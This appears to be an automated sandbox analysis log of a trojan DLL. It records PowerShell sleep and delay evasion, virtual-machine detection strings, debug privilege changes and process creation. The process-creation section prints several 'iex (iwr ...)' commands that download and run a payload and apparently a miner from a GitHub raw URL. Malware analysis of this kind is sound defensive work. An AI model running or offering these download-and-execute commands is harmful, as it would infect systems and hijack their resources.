Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589202s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589093s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588982s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588855s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588749s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588628s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588515s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588386s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -588280s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5484	Thread sleep count: 9678 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep count: 35 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -591094s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590859s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590715s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590609s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590498s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590390s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590281s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590172s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -590062s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589953s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589840s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589729s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589617s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589500s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589390s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589281s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589172s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -589062s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -588951s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -588824s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -588718s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -588597s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -588469s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 9274 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 35 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6608	Thread sleep count: 382 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -591097s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590972s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590846s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590707s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590566s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590441s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590316s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590191s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -590066s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589941s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589691s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589560s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589449s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589347s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589222s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -589097s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588972s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588847s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588722s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588597s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588472s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588347s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588207s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -588082s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -587957s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591250	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590856	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590639	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590531	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590094	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589981	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589870	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589758	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589641	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589531	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589092	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588965	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588739	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590901
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590767
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590656
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590432
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589760
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589648
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588855
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588628
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588386
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590715
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590498
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590390
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590172
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589840
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589617
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589390
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589172
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588951
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588824
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588597
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591097
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590846
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590707
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590566
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590441
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590316
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590191
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590066
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589941
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589816
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589691
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589560
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589449
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589347
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589222
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589097
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588847
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588722
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588597
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588472
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588347
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588207
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588082
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587957

Source: powershell.exe, 00000007.00000002.3089522209.0000029DEF49B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 0000000F.00000002.3077151933.000002027F6FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: powershell.exe, 00000014.00000002.3183687643.00000209CB602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ
Source: powershell.exe, 00000007.00000002.3089522209.0000029DEF49B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.3072215799.000001D2EA8B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 0000000D.00000002.3042256047.000001D2EA85E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0
Source: powershell.exe, 00000010.00000002.3186491471.0000025554BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: powershell.exe, 00000006.00000002.3094702543.0000021F534F2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3074865903.0000025C42D67000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.3042256047.000001D2EA81C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
